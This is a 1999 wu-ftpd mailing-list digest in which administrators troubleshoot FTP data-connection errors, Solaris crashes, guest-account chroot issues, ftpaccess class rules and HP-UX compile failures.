Sender: [email protected]
From: Teeradetch Nawasuttipong <[email protected]>
To: [email protected]
Subject: wu-ftpd2.4.2 RELEASED
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

now it is RELEASED... why you don't use it?
it is not BETA VERSION anymore...

From [email protected] Tue Mar 2 09:23:32 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA13991;
Tue, 2 Mar 1999 09:23:31 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA01814;
Tue, 2 Mar 1999 09:19:46 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA25809
for <[email protected]>; Tue, 2 Mar 1999 09:16:54 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id KAA27570;
Tue, 2 Mar 1999 10:16:17 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 10:16:17 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Teeradetch Nawasuttipong <[email protected]>
Cc: [email protected]
Subject: Re: wu-ftpd2.4.2 RELEASED
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 2 Mar 1999, Teeradetch Nawasuttipong wrote:

> now it is RELEASED... why you don't use it?
> it is not BETA VERSION anymore...

Do your mommy and daddy know you're using their computer?

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 2 10:41:52 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA15156;
Tue, 2 Mar 1999 10:41:51 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA24258;
Tue, 2 Mar 1999 10:38:00 -0600 (CST)
Received: from orr.pwgsc.gc.ca (orr.pwgsc.gc.ca [198.103.167.14])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA18097
for <[email protected]>; Tue, 2 Mar 1999 10:33:19 -0600 (CST)
Received: id KAA07359; Tue, 2 Mar 1999 10:53:54 -0500
Received: by gateway id KAA02894
for <[email protected]>; Tue, 2 Mar 1999 10:44:28 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 02 Mar 1999 10:51:03 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Robertson, Rocke" <[email protected]>
To: wuftp <[email protected]>
Subject: 425 Couldn't open data connection. w/VR14
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I have installed beta18VR14. And now one client out of many gets this
when he connects from behind a Borderware firewall.I have gone over the
FAQ, and archives and seen all sorts of mention of this. In this scenario
its just one client. I believe the firewall does address translation.

Symptoms: User connects using ws_ftp, can download 1 or 2 files.... then
on 2nd or 3rd operation of some kind, he gets the 425 error.

Has anyone configured a Borderware firewall to work with the new version
of wu-ftpd with pasv connections?

Thanks

> 227 Entering Passive Mode (198,103,98,192,121,18)
> connecting to 198.103.98.192:30994
> - -
> connecting to 198.103.98.192:30994
> Connected to 198.103.98.192 port 30994
> STOR nta-srch.fr
> 425 Couldn't open data connection
> ! Receive error: Blocking call cancelled
>
> PWD
> 425 Can't open data connection.
> TYPE A
> 257 "/u1/sites/internet/cta/htdocs/eng" is current directory.
> PASV
> 200 Type set to A.
> ! Unable to parse info 200 Type set to A.
> PORT 10,10,4,20,4,143
> 425 Couldn't open data connection
> ! Failed "port":
> ! Retrieve of directory listing failed (0)
>
> ______________________________________________________
> Get Your Private, Free Email at http://www.hotmail.com

--
Rocke Robertson
PWGSC/GTIS
(613)991-2604
[email protected]

From [email protected] Tue Mar 2 11:00:50 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA15572;
Tue, 2 Mar 1999 11:00:49 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA30935;
Tue, 2 Mar 1999 10:57:14 -0600 (CST)
Received: from fatcat.inven.com (fatcat.inven.com [204.142.49.130])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA30365
for <[email protected]>; Tue, 2 Mar 1999 10:53:41 -0600 (CST)
Received: from mailnyc [195.1.2.68]
by fatcat.inven.com with esmtp (Exim 1.71 #1)
id 10HsR8-00004N-00; Tue, 2 Mar 1999 11:54:26 -0500
Received: by mailnyc with smtp (Exim 2.10)
id 10HsSb-00069n-00; Tue, 2 Mar 1999 11:55:57 -0500
Message-Id: <4.1.19990302115315.00d2fcd0@mailnyc>
Date: Tue, 02 Mar 1999 11:54:22 -0500
Reply-To: [email protected]
Sender: [email protected]
From: John-Paul Pagano <[email protected]>
To: [email protected], wuftp <[email protected]>
Subject: Re: 425 Couldn't open data connection. w/VR14
In-Reply-To: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: jpagano@mailnyc
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 10:51 AM 3/2/99 -0500, Robertson, Rocke wrote:
>I have installed beta18VR14. And now one client out of many gets this
>when he connects from behind a Borderware firewall.I have gone over the
>FAQ, and archives and seen all sorts of mention of this. In this scenario
>its just one client. I believe the firewall does address translation.
>
>Symptoms: User connects using ws_ftp, can download 1 or 2 files.... then
>on 2nd or 3rd operation of some kind, he gets the 425 error.
>
>Has anyone configured a Borderware firewall to work with the new version
>of wu-ftpd with pasv connections?
>
>Thanks

Out of curiosity, I wonder whether or not there is some sort of encryption
taking place somewhere along the line. I know that SOCKS 4 had a lot of
problems with its rftp client, which, strangely, is a little documented,
but really annoying bug...

--
John-Paul Pagano
Unix Systems Administrator
Voice: (212) 208-0828
Fax: (212) 825-1040

From [email protected] Tue Mar 2 11:19:56 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA15939;
Tue, 2 Mar 1999 11:19:56 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA02486;
Tue, 2 Mar 1999 11:16:32 -0600 (CST)
Received: from mailcarrier.snv1.gctr.net (mailcarrier.snv1.gctr.net [206.251.8.19])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA01868
for <[email protected]>; Tue, 2 Mar 1999 11:12:32 -0600 (CST)
Received: from pobox.snv1.gctr.net (pobox.snv1.gctr.net [204.71.194.242])
by mailcarrier.snv1.gctr.net (8.9.0/8.9.0) with ESMTP id RAA14338
for <[email protected]>; Tue, 2 Mar 1999 17:12:28 GMT
Received: from isi.net (horror.isi.net [207.138.40.75])
by pobox.snv1.gctr.net (8.9.1/8.9.1) with ESMTP id RAA24526
for <[email protected]>; Tue, 2 Mar 1999 17:12:27 GMT
Message-Id: <[email protected]>
Date: Tue, 02 Mar 1999 09:11:17 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Bret Sanders <[email protected]>
To: WU-FTPD Discussion List <[email protected]>
Subject: Solaris 7 Crashes
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I know this isn't a Solaris Sys-admin list, but maybe someone else has
seen this before I track it down.

I ran a wu-ftpd server for several months with few problems. I decided to
upgrade to Solaris 7 and VR14, and now my TWO servers crash at random
times, about once a night. I'm now on VR15, and seeing the same thing. No
strange errors in the syslog, just normal ftp messages, and then a reboot.

Mar 1 22:07:14 classic unix: panic[cpu0]/thread=2a100057d60: mi_timer:
bad tim
value: -9223372036854775808

I have an average of about 300 users logged into each at any one time, so
they're pretty busy. These are cleanly installed with Solaris 7, and there
is nothing else running on them besides the basics.

--
Bret Sanders
Technical Account Manager
Frontier GlobalCenter
[email protected]

From [email protected] Tue Mar 2 11:26:23 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA16041;
Tue, 2 Mar 1999 11:26:22 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA21809;
Tue, 2 Mar 1999 11:22:59 -0600 (CST)
Received: from fatcat.inven.com (fatcat.inven.com [204.142.49.130])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA12447
for <[email protected]>; Tue, 2 Mar 1999 11:19:21 -0600 (CST)
Received: from mailnyc [195.1.2.68]
by fatcat.inven.com with esmtp (Exim 1.71 #1)
id 10Hsq5-0000JQ-00; Tue, 2 Mar 1999 12:20:13 -0500
Received: by mailnyc with smtp (Exim 2.10)
id 10HsrY-0006EW-00; Tue, 2 Mar 1999 12:21:44 -0500
Message-Id: <4.1.19990302121942.00c4d600@mailnyc>
Date: Tue, 02 Mar 1999 12:20:08 -0500
Reply-To: [email protected]
Sender: [email protected]
From: John-Paul Pagano <[email protected]>
To: [email protected], WU-FTPD Discussion List <[email protected]>
Subject: Re: Solaris 7 Crashes
In-Reply-To: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: jpagano@mailnyc
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 09:11 AM 3/2/99 -0800, Bret Sanders wrote:
>I know this isn't a Solaris Sys-admin list, but maybe someone else has
>seen this before I track it down.
>
>I ran a wu-ftpd server for several months with few problems. I decided to
>upgrade to Solaris 7 and VR14, and now my TWO servers crash at random
>times, about once a night. I'm now on VR15, and seeing the same thing. No
>strange errors in the syslog, just normal ftp messages, and then a reboot.
>
>Mar 1 22:07:14 classic unix: panic[cpu0]/thread=2a100057d60: mi_timer:
>bad tim
>value: -9223372036854775808
>
>I have an average of about 300 users logged into each at any one time, so
>they're pretty busy. These are cleanly installed with Solaris 7, and there
>is nothing else running on them besides the basics.
>

Do you have an active SCSI chain on this machine? Sometimes, SCSI problems
can cause weird, spontaneous reboots.

--
John-Paul Pagano
Unix Systems Administrator
Voice: (212) 208-0828
Fax: (212) 825-1040

From [email protected] Tue Mar 2 11:39:16 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA16242;
Tue, 2 Mar 1999 11:39:14 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA25450;
Tue, 2 Mar 1999 11:35:39 -0600 (CST)
Received: from icarus.yml.com ([email protected] [207.226.52.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA22628
for <[email protected]>; Tue, 2 Mar 1999 11:29:12 -0600 (CST)
Received: from localhost (buffalo@localhost)
by icarus.yml.com (8.8.7/8.8.7) with ESMTP id MAA31864
for <[email protected]>; Tue, 2 Mar 1999 12:28:53 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 12:28:53 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: Wu-ftpd List <[email protected]>
Subject: RFTP Update/Fix
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Well, now my problem with RFTP (restricted guest) accounts has become more
interesting.

After trying Beta-18/VR-14, straight Beta-18, and Beta-16, and various
combinations of the new 'restrict uid' rules in the 'ftpaccess' file,
(none of which worked), I decided to try going back to Beta-13.

As soon as I installed the daemon (with no other changes to any of my
guest accounts, config files, etc.), RFTP started working again, and
chrooting users to their designated directories as expected.

Anyone care to speculate why RFTP appears to break in the later versions
of the daemon?

I'm running this all on a stock Sun Ultra Enterprise 1 with stock Solaris
2.5.1...

* In all cases, I got the source, and compiled it using GCC 2.7.2.3.

* In all cases, the daemon compiles without error messages.

* In all cases, the daemon installs (using build install) without errors.

I've been using wu-ftpd on both Solaris and Linux boxes for a long time
now without ever encountering this kind of difficulty...

Ideas, anyone?

--Duncan

From [email protected] Tue Mar 2 12:18:53 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA16724;
Tue, 2 Mar 1999 12:18:52 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA30067;
Tue, 2 Mar 1999 12:15:18 -0600 (CST)
Received: from molbio.unmc.edu (molbio.unmc.edu [137.197.214.37])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA02285
for <[email protected]>; Tue, 2 Mar 1999 12:09:53 -0600 (CST)
Received: from windsurf2 by molbio.unmc.edu (SMI-8.6/SMI-SVR4)
id MAA24005; Tue, 2 Mar 1999 12:14:03 -0600
Message-Id: <[email protected]>
Date: Tue, 02 Mar 1999 12:10:12 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Chad Price <[email protected]>
To: [email protected], [email protected],
WU-FTPD Discussion List <[email protected]>
Subject: Re: Solaris 7 Crashes
In-Reply-To: <4.1.19990302121942.00c4d600@mailnyc>
References: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 12:20 PM 3/2/1999 -0500, John-Paul Pagano wrote:
>
>Do you have an active SCSI chain on this machine? Sometimes, SCSI problems
>can cause weird, spontaneous reboots.
>

They do on a regular basis if there any problems, flakey cables, flakey
connections, actual motherboard SCSI problems, etc. I've been running Suns
for several years, and in my experience, they do not crash spontaneously
unless the hardware flakes out underneath them. (This is not to say it
can't happen, I'm sure it does, but my experience does not include those
kinds of crashes.)

Bottom line: look at the hardware.

Chad

Chad Price
Systems Manager
University of Nebraska Medical Center
600 S 42nd St
Omaha, NE 68506-6495
[email protected]
(402) 559-9527
(402) 559-4077 (FAX)

From [email protected] Tue Mar 2 12:38:16 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA17016;
Tue, 2 Mar 1999 12:38:15 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA30478;
Tue, 2 Mar 1999 12:34:40 -0600 (CST)
Received: from globespan1.net (p1.globespan.net [209.191.59.250])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA18163
for <[email protected]>; Tue, 2 Mar 1999 12:31:48 -0600 (CST)
Received: (qmail 10260 invoked from network); 2 Mar 1999 18:32:09 -0000
Received: from softdnserror (HELO rambo.globespan.net) (209.191.55.205)
by www.absciences.com with SMTP; 2 Mar 1999 18:32:09 -0000
Received: by rambo.globespan.net with Internet Mail Service (5.5.2448.0)
id <GCYPD7YB>; Tue, 2 Mar 1999 13:28:54 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 13:28:53 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Shilpa Patel <[email protected]>
To: "'[email protected]'" <[email protected]>
Subject: unsubscribe
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
X-Mailer: Internet Mail Service (5.5.2448.0)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

How do I unsubscribe ?

From [email protected] Tue Mar 2 13:04:46 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA17553;
Tue, 2 Mar 1999 13:04:45 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA07763;
Tue, 2 Mar 1999 13:00:31 -0600 (CST)
Received: from b5.eng.internex.net (b5.eng.internex.net [207.88.8.14])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA18489
for <[email protected]>; Tue, 2 Mar 1999 12:57:57 -0600 (CST)
Received: from localhost by b5.eng.internex.net (8.9.1/8.9.1) with SMTP id KAA00299
for <[email protected]>; Tue, 2 Mar 1999 10:57:25 -0800 (PST)
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 10:57:25 -0800 (PST)
Reply-To: [email protected]
Sender: [email protected]
From: Che Tran <[email protected]>
To: [email protected]
Subject: Wu-ftpd VR14
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I just installed wu-ftpd beta18-VR14 as a drop-in replacement for wu-ftpd
Version wu-2.4.2(3) which is very old.

However, it didn't do exactly as I expected. I'm running sol2.5.1. The
ftpd binaries are mounted as are the users' home directories via NFS.
Real accounts are fine, but I had some problems with anonymous account.
Once logged in as anonymous, ls can't be run. I haven't made any changes
to the library, but I don't think that should matter. For the heck of
it, I even installed BeroFTPd-1.3.1 with internal ls and I still get the
same problem. Am I overlooking something?

331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -al
200 PORT command successful.
425 Can't create data socket (0.0.0.0,20): No such file or directory.
ftp> 221-You have transferred 0 bytes in 0 files.
221-Total traffic for this session was 436 bytes in 0 transfers.
221-Thank you for using the FTP service on WebFarm03.
221 Goodbye.

=== Che Tran : [email protected] ===

From [email protected] Tue Mar 2 13:06:52 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA17578;
Tue, 2 Mar 1999 13:06:51 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA02169;
Tue, 2 Mar 1999 13:03:04 -0600 (CST)
Received: from mta1.imation.com (mail2.imation.com [207.242.212.137])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA14239
for <[email protected]>; Tue, 2 Mar 1999 12:59:47 -0600 (CST)
Received: by mta1.imation.com(Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) id 86256728.006845C2 ; Tue, 2 Mar 1999 12:58:56 -0600
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 12:58:45 -0600
Reply-To: [email protected]
Sender: [email protected]
From: "Carol L. Evers" <[email protected]>
To: Wu-ftpd List <[email protected]>
Subject: Build problem on VR15 for HP-UX
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Lotus-FromDomain: IMATION
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I am trying to upgrade my ftp server from wuftpd-2.4.2 to VR15 but am getting
the following error. I haven't been able to figure out what size 'sa' is
suppose to be. I'm assuming the other errors are a result of not having a size
set for 'sa'. Does anyone have any ideas? I am running HP-UX 10.20, and using
the Ansi C compiler. Any help would be appreciated.

Carol Evers
Imation Enterprises Corp.
UNIX Administrator
(651) 704-7165

# ./build hpx
make args are :
make opts are :

Copying Makefiles.

Linking src/config.h

Making support library.
cc -Aa -D_POSIX_SOURCE -O -c authuser.c
cc: "authuser.c", line 99: error 1574: Unknown size for "sa".
cc: "authuser.c", line 106: error 1594: The sizeof operator cannot be applied to
types with unknown size.
cc: "authuser.c", line 109: error 1530: Undefined struct or union.
cc: "authuser.c", line 109: error 1588: "AF_INET" undefined.
cc: "authuser.c", line 109: error 1563: Expression in if must be scalar.
cc: "authuser.c", line 110: error 1588: "EAFNOSUPPORT" undefined.
cc: "authuser.c", line 113: error 1530: Undefined struct or union.
cc: "authuser.c", line 114: error 1594: The sizeof operator cannot be applied to
types with unknown size.
cc: "authuser.c", line 117: error 1530: Undefined struct or union.
cc: "authuser.c", line 118: error 1530: Undefined struct or union.
cc: "authuser.c", line 118: error 1529: Cannot select field of non-structure.
cc: "authuser.c", line 136: error 1574: Unknown size for "sa".
cc: "authuser.c", line 147: error 1588: "AF_INET" undefined.
cc: "authuser.c", line 147: error 1588: "SOCK_STREAM" undefined.
cc: "authuser.c", line 149: error 1588: "SOL_SOCKET" undefined.
cc: "authuser.c", line 149: error 1588: "SO_REUSEADDR" undefined.
cc: "authuser.c", line 150: error 1549: Modifiable lvalue required for
assignment operator.
cc: "authuser.c", line 151: error 1530: Undefined struct or union.
cc: "authuser.c", line 152: error 1594: The sizeof operator cannot be applied to
types with unknown size.
cc: "authuser.c", line 153: error 1530: Undefined struct or union.
cc: "authuser.c", line 154: error 1530: Undefined struct or union.
cc: "authuser.c", line 155: error 1530: Undefined struct or union.
cc: "authuser.c", line 155: error 1529: Cannot select field of non-structure.
cc: "authuser.c", line 156: error 1594: The sizeof operator cannot be applied to
types with unknown size.
*** Error exit code 1

Stop.

From [email protected] Tue Mar 2 13:10:26 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA17636;
Tue, 2 Mar 1999 13:10:25 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA02790;
Tue, 2 Mar 1999 13:06:59 -0600 (CST)
Received: from rmx07.globecomm.net (rmx07.iname.net [165.251.8.75])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA12728
for <[email protected]>; Tue, 2 Mar 1999 13:06:32 -0600 (CST)
Received: from weba2.iname.net by rmx07.globecomm.net (8.9.1/8.8.0) with ESMTP id OAA14352
Received: (from root@localhost)
by weba2.iname.net (8.9.1a/8.9.2.Alpha2) id OAA11871;
Tue, 2 Mar 1999 14:06:30 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 14:06:30 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: [email protected]
Subject: Class restrictions
MIME-Version: 1.0
Content-Type: Text/Plain
Content-Transfer-Encoding: 7bit
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I'm installing wuftp 2.4.2[beta 18]VR15 on Digital Unix 4.0E and I have a problem with the class definitions.
When I use them for restrict any operation (ie. rename, upload), the operation is denied even for valid users.

Excerpt from ftpaccess:
######

class users_auth guest 172.16.1.2/32

rename yes class=users_auth
rename no guest,anonymous
#####

Then I tried to rename some file with a guest user from 172.16.1.2. I'm sure that the user is managed as guest because it's really chrooted.

However the next error is displayed:

ftp> ren test1 test2
350 File exists, ready for destination name
553 test1: Permission denied. (rename)

And the log contains:

Mar 2 19:42:56 myhost ftpd[12004]: FTP LOGIN FROM myhost.mydomain.es [172.16.1.2], myguest
Mar 2 19:42:56 myhost ftpd[12004]: SYST
Mar 2 19:42:57 myhost ftpd[12004]: PORT
Mar 2 19:42:57 myhost ftpd[12004]: NLST
Mar 2 19:43:03 myhost ftpd[12004]: RNFR test1
Mar 2 19:43:03 myhost ftpd[12004]: RNTO test2
Mar 2 19:43:03 myhost ftpd[12004]: myguest of myhost.mydomain.es [172.16.1.2] tried to rename /home/ftp/pub/test1 to /home/ftp/pub/test2

Where is my mistake?

Thanks,

David Jorrin
====
David Jorrin <[email protected]>

"This chapter is about Laziness, Impatience
and Hubris because this chapter is about
good software design"
Larry Wall, Tom Christiansen &
Randal L. Schwartz [Programming Perl]

----------------------------------------------------------------
Get your free email from AltaVista at http://altavista.iname.com

From [email protected] Tue Mar 2 13:23:40 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA17815;
Tue, 2 Mar 1999 13:23:39 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA19112;
Tue, 2 Mar 1999 13:20:12 -0600 (CST)
Received: from apollo.fedworld.gov (apollo.fedworld.gov [192.239.92.203])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA18081
for <[email protected]>; Tue, 2 Mar 1999 13:13:36 -0600 (CST)
Received: from mnguyen ([208.232.200.44] (may be forged))
by apollo.fedworld.gov (8.8.6 (PHNE_14041)/8.8.6) with SMTP id OAA29191;
Tue, 2 Mar 1999 14:12:32 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 02 Mar 1999 14:14:59 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Man Nguyen <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: compile's errors
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I recently downloaded the full Beta-18 VR15 source code but can't
compile it. I'm getting the following errors:

# ./build hpx

make args are :

make opts are :

Copying Makefiles.

Linking src/config.h

Making support library.

cc -Aa -D_POSIX_SOURCE -O -c authuser.c

cc: "authuser.c", line 99: error 1574: Unknown size for "sa".

cc: "authuser.c", line 106: error 1594: The sizeof operator cannot be
applied to types with unknown size.

cc: "authuser.c", line 109: error 1530: Undefined struct or union.

cc: "authuser.c", line 109: error 1588: "AF_INET" undefined.

cc: "authuser.c", line 109: error 1563: Expression in if must be scalar.

cc: "authuser.c", line 110: error 1588: "EAFNOSUPPORT" undefined.

cc: "authuser.c", line 113: error 1530: Undefined struct or union.

cc: "authuser.c", line 114: error 1594: The sizeof operator cannot be
applied to types with unknown size.

cc: "authuser.c", line 117: error 1530: Undefined struct or union.

cc: "authuser.c", line 118: error 1530: Undefined struct or union.

cc: "authuser.c", line 118: error 1529: Cannot select field of non-structure.

cc: "authuser.c", line 136: error 1574: Unknown size for "sa".

cc: "authuser.c", line 147: error 1588: "AF_INET" undefined.

cc: "authuser.c", line 147: error 1588: "SOCK_STREAM" undefined.

cc: "authuser.c", line 149: error 1588: "SOL_SOCKET" undefined.

cc: "authuser.c", line 149: error 1588: "SO_REUSEADDR" undefined.

cc: "authuser.c", line 150: error 1549: Modifiable lvalue required for
assignment operator.

cc: "authuser.c", line 151: error 1530: Undefined struct or union.

cc: "authuser.c", line 152: error 1594: The sizeof operator cannot be
applied to types with unknown size.

cc: "authuser.c", line 153: error 1530: Undefined struct or union.

cc: "authuser.c", line 154: error 1530: Undefined struct or union.

cc: "authuser.c", line 155: error 1530: Undefined struct or union.

cc: "authuser.c", line 155: error 1529: Cannot select field of non-structure.

cc: "authuser.c", line 156: error 1594: The sizeof operator cannot be
applied to types with unknown size.

*** Error exit code 1

Stop.

Making ftpd.

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c ftpd.c

cpp: "values.h", line 27: warning 2001: Redefinition of macro MAXINT.

cc: "ftpd.c", line 980: warning 604: Pointers are not assignment-compatible.

cc: "ftpd.c", line 980: warning 563: Argument #3 is not the correct type.

cc: line 4600: warning 5004: Uninitialized variable "ap" in function
"reply" (5004)

yacc ftpcmd.y

mv y.tab.c ftpcmd.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c ftpcmd.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c glob.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c logwtmp.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c popen.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c vers.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c access.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c extensions.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c realpath.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c acl.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c private.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c authenticate.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c conversions.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c hostacc.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c sigfix.c

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c routevector.c

cc: "routevector.c", line 293: warning 562: Redeclaration of
"initportstruct" with a different storage class specifier: "initportstruct"
will have internal linkage.

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c restrict.c

Make: Don't know how to make ../support/libsupport.a. Stop.

Making ftpcount.

cc -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit -I.. -I../support +DAportable
-c ftpcount.c

